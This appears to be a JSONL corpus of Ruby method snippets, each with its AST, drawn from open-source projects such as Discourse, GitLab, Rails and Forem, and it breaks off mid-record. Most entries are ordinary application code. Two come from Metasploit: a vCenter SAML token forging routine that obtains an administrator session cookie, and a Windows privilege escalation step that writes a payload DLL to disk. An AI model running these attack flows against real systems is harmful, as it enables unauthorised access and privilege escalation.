{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/smf2.rb","start_line":515,"raw_source":"def get_upload_markdown(upload)\n html_for_upload(upload, upload.original_filename)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_upload_markdown\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]}]},{\"type\":\"send\",\"children\":[null,\"html_for_upload\",{\"type\":\"lvar\",\"children\":[\"upload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"original_filename\"]}]}]}","id":"e235e497-3b9c-42a4-a848-db27039900ed"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/vmware/vcenter_forge_saml_token.rb","start_line":121,"raw_source":"def run\n cookie_jar.clear\n\n validate_domains\n validate_timestamps\n validate_idp_options\n\n print_status('HTTP GET => /ui/login ...')\n init_vsphere_login\n\n vprint_status('Create forged SAML assertion XML ...')\n unless (vsphere_saml_response = get_saml_response_template)\n fail_with(Msf::Exploit::Failure::Unknown, 'Unable to generate SAML response XML')\n end\n\n vprint_status('Sign forged SAML assertion with IdP key ...')\n unless (vsphere_saml_auth = sign_vcenter_saml(vsphere_saml_response))\n fail_with(Msf::Exploit::Failure::Unknown, 'Unable to sign SAML assertion')\n end\n\n print_status('HTTP POST => /ui/saml/websso/sso ...')\n unless (session_cookie = submit_vcenter_auth(vsphere_saml_auth))\n fail_with(Msf::Exploit::Failure::Unknown, 'Unable to acquire administrator session token')\n end\n\n print_good('Got valid administrator session token!')\n print_good(\"\\t#{session_cookie}\")\n end","complexity_score":24.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookie_jar\"]},\"clear\"]},{\"type\":\"send\",\"children\":[null,\"validate_domains\"]},{\"type\":\"send\",\"children\":[null,\"validate_timestamps\"]},{\"type\":\"send\",\"children\":[null,\"validate_idp_options\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"HTTP GET => /ui/login ...\"]}]},{\"type\":\"send\",\"children\":[null,\"init_vsphere_login\"]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Create forged SAML assertion XML ...\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vsphere_saml_response\",{\"type\":\"send\",\"children\":[null,\"get_saml_response_template\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Unable to generate SAML response XML\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Sign forged SAML assertion with IdP key ...\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vsphere_saml_auth\",{\"type\":\"send\",\"children\":[null,\"sign_vcenter_saml\",{\"type\":\"lvar\",\"children\":[\"vsphere_saml_response\"]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Unable to sign SAML assertion\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"HTTP POST => /ui/saml/websso/sso ...\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"session_cookie\",{\"type\":\"send\",\"children\":[null,\"submit_vcenter_auth\",{\"type\":\"lvar\",\"children\":[\"vsphere_saml_auth\"]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Unable to acquire administrator session token\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Got valid administrator session token!\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_cookie\"]}]}]}]}]}]}","id":"3a57dff2-5e4f-49ca-8461-f9b4497d45f3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/sd_notify.rb","start_line":66,"raw_source":"def self.status(status, unset_env = false)\n notify(\"#{STATUS}#{status}\", unset_env)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"optarg\",\"children\":[\"unset_env\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"notify\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STATUS\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]}]}]},{\"type\":\"lvar\",\"children\":[\"unset_env\"]}]}]}","id":"d7df0a3c-5c94-4956-9687-937559f7008f"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/backuper.rb","start_line":359,"raw_source":"def delete_old\n return if Rails.env.development?\n\n log \"Deleting old backups...\"\n store.delete_old\n rescue => ex\n log \"Something went wrong while deleting old backups.\", ex\n end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_old\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"development?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"Deleting old backups...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"delete_old\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"Something went wrong while deleting old backups.\"]},{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]},null]}]}","id":"09d6895b-82c3-48b5-92ad-49614db49fbf"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/push_options_handler_service.rb","start_line":178,"raw_source":"def merge_params(branch)\n return {} unless push_options.key?(:merge_when_pipeline_succeeds) || push_options.key?(:auto_merge)\n\n {\n auto_merge_enabled: push_options[:auto_merge] || push_options[:merge_when_pipeline_succeeds],\n merge_user: current_user,\n sha: changes_by_branch.dig(branch, :newrev)\n }\n end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"push_options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"merge_when_pipeline_succeeds\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"push_options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"auto_merge\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_merge_enabled\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"push_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auto_merge\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"push_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merge_when_pipeline_succeeds\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changes_by_branch\"]},\"dig\",{\"type\":\"lvar\",\"children\":[\"branch\"]},{\"type\":\"sym\",\"children\":[\"newrev\"]}]}]}]}]}]}","id":"d5dd1769-bb13-4998-b4b8-dff9209345c2"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/photoprism/import_geodata.rb","start_line":46,"raw_source":"def parse_photoprism_data(photoprism_data)\n geodata = photoprism_data.map do |asset|\n next unless valid?(asset)\n\n extract_geodata(asset)\n end\n\n geodata.compact.sort_by { |data| data[:timestamp] }\n end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_photoprism_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"photoprism_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"geodata\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"photoprism_data\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"asset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid?\",{\"type\":\"lvar\",\"children\":[\"asset\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"extract_geodata\",{\"type\":\"lvar\",\"children\":[\"asset\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"geodata\"]},\"compact\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timestamp\"]}]}]}]}]}","id":"c110e624-d118-47e6-bfc6-ee51bc7c1058"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/duration_test.rb","start_line":318,"raw_source":"def test_before_and_after\n t = Time.local(2000)\n assert_equal t + 1, 1.second.after(t)\n assert_equal t - 1, 1.second.before(t)\n end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_before_and_after\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2000]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"second\"]},\"after\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"second\"]},\"before\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]}]}]}","id":"2a7410e1-fd0e-4147-898f-f83959346b04"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/appxsvc_hard_link_privesc.rb","start_line":90,"raw_source":"def write_payload\n print_status('Writing the payload to disk')\n code = generate_payload_dll\n @original_data = read_file(@rtf_path)\n write_file(@rtf_path, code)\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"write_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Writing the payload to disk\"]}]},{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"send\",\"children\":[null,\"generate_payload_dll\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@original_data\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"ivar\",\"children\":[\"@rtf_path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"ivar\",\"children\":[\"@rtf_path\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]}]}","id":"6f0fdd7a-0125-4b27-87b4-03d5e2f8093a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/features/master_manages_access_requests_shared_example.rb","start_line":54,"raw_source":"def expect_no_visible_access_request(entity, user)\n expect(page).not_to have_content \"Users requesting access to #{entity.name}\"\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_no_visible_access_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entity\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Users requesting access to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"name\"]}]}]}]}]}]}","id":"3eb33c94-fc04-4f68-baad-9d8c9d66b993"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/concerns/packages/npm_namespace_endpoints.rb","start_line":30,"raw_source":"def project\n # Simulate the same behavior as #user_project by re-using #find_project!\n # but take care if the project_id is nil as #find_project! is not designed\n # to handle it.\n project_id = project_id_or_nil\n\n not_found!('Project') unless project_id\n\n find_project!(project_id)\n end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project_id\",{\"type\":\"send\",\"children\":[null,\"project_id_or_nil\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_id\"]},null,{\"type\":\"send\",\"children\":[null,\"not_found!\",{\"type\":\"str\",\"children\":[\"Project\"]}]}]},{\"type\":\"send\",\"children\":[null,\"find_project!\",{\"type\":\"lvar\",\"children\":[\"project_id\"]}]}]}]}","id":"388bd6ed-2437-4f6d-ba35-25785fd1ecbb"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/pxe_menu_ipxe.rb","start_line":55,"raw_source":"def self.parse_kernel(kernel)\n options = kernel.split(' ')\n kernel = options.shift\n\n return kernel, options.join(' ')\n end","complexity_score":5.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse_kernel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"kernel\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kernel\"]},\"split\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"kernel\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"shift\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kernel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}","id":"e35ea387-6cfb-4539-86c4-a7a31484b035"} {"repo_name":"forem","file_path":"./repos/forem/spec/support/sidekiq_test_helpers.rb","start_line":108,"raw_source":"def enqueued_jobs_size(only: nil, except: nil, queue: nil)\n validate_option(only: only, except: except)\n\n Sidekiq::Job.jobs.count do |job|\n job_class = job.fetch(\"class\")\n if only\n next false unless Array(only).include?(job_class.constantize)\n elsif except\n next false if Array(except).include?(job_class.constantize)\n end\n if queue\n next false unless queue.to_s == job.fetch(\"queue\") # rubocop:disable Style/SoleNestedConditional\n end\n true\n end\n end","complexity_score":27.5,"ast_json":"{\"type\":\"def\",\"children\":[\"enqueued_jobs_size\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"only\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"except\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"queue\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_option\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"lvar\",\"children\":[\"only\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except\"]},{\"type\":\"lvar\",\"children\":[\"except\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Job\"]},\"jobs\"]},\"count\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"job_class\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"class\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"only\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"only\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_class\"]},\"constantize\"]}]},null,{\"type\":\"next\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"except\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"except\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_class\"]},\"constantize\"]}]},{\"type\":\"next\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue\"]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"queue\"]}]}]},null,{\"type\":\"next\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"a312bd8e-6081-4a33-8517-eb9fc1f6e35f"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/tool_definition.rb","start_line":117,"raw_source":"def self.from_hash(hash)\n allowed_keys = %i[name description parameters]\n extra_keys = hash.keys - allowed_keys\n if !extra_keys.empty?\n raise ArgumentError, \"Unexpected keys in tool definition: #{extra_keys}\"\n end\n\n params = hash[:parameters] || []\n parameter_objects =\n params.map do |param|\n if param.is_a?(Hash)\n ParameterDefinition.from_hash(param)\n else\n param\n end\n end\n\n new(name: hash[:name], description: hash[:description], parameters: parameter_objects)\n end","complexity_score":21.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"allowed_keys\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"sym\",\"children\":[\"parameters\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"extra_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"keys\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"allowed_keys\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra_keys\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected keys in tool definition: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra_keys\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parameters\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parameter_objects\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"param\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParameterDefinition\"]},\"from_hash\",{\"type\":\"lvar\",\"children\":[\"param\"]}]},{\"type\":\"lvar\",\"children\":[\"param\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parameters\"]},{\"type\":\"lvar\",\"children\":[\"parameter_objects\"]}]}]}]}]}]}","id":"cc2cd3a5-6fd4-42a1-b711-31ddcae9f2ac"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/helpers/super_admin/account_features_helper.rb","start_line":11,"raw_source":"def self.feature_display_names\n account_features.each_with_object({}) do |feature, hash|\n hash[feature['name']] = feature['display_name']\n end\n end","complexity_score":6.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"feature_display_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_features\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature\"]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},\"[]\",{\"type\":\"str\",\"children\":[\"display_name\"]}]}]}]}]}","id":"6bd07b93-1da4-42c1-a88c-84a27d6ff9b6"} {"repo_name":"forem","file_path":"./repos/forem/app/services/articles/feeds/variant_query.rb","start_line":368,"raw_source":"def build_score_element_from(select_fragment:, cases:, fallback:)\n values = []\n # I would love to sanitize this, but alas, we must trust this clause.\n text = \"(CASE #{select_fragment}\"\n cases.each do |value, factor|\n text += \"\\nWHEN ? THEN ?\"\n values << value.to_i\n values << factor.to_f\n end\n text += \"\\nELSE ? END)\"\n values << fallback.to_f\n values.unshift(text)\n\n Article.sanitize_sql_array(values)\n end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_score_element_from\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"select_fragment\"]},{\"type\":\"kwarg\",\"children\":[\"cases\"]},{\"type\":\"kwarg\",\"children\":[\"fallback\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(CASE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"select_fragment\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cases\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"factor\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\nWHEN ? THEN ?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"factor\"]},\"to_f\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\nELSE ? END)\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fallback\"]},\"to_f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"unshift\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"sanitize_sql_array\",{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}]}","id":"9c0a182b-2f17-4d53-9ed6-8183da31949d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/container_expiration_policy.rb","start_line":62,"raw_source":"def self.cadence_options\n {\n '1d': _('Every day'),\n '7d': _('Every week'),\n '14d': _('Every two weeks'),\n '1month': _('Every month'),\n '3month': _('Every three months')\n }\n end","complexity_score":5.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cadence_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"1d\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Every day\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"7d\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Every week\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"14d\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Every two weeks\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"1month\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Every month\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"3month\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Every three months\"]}]}]}]}]}","id":"e95243e6-72a1-4f79-aef1-3f2d7762d1bd"} {"repo_name":"puma","file_path":"./repos/puma/lib/puma/cluster.rb","start_line":212,"raw_source":"def worker(index, master)\n @workers = []\n\n @master_read.close\n @suicide_pipe.close\n 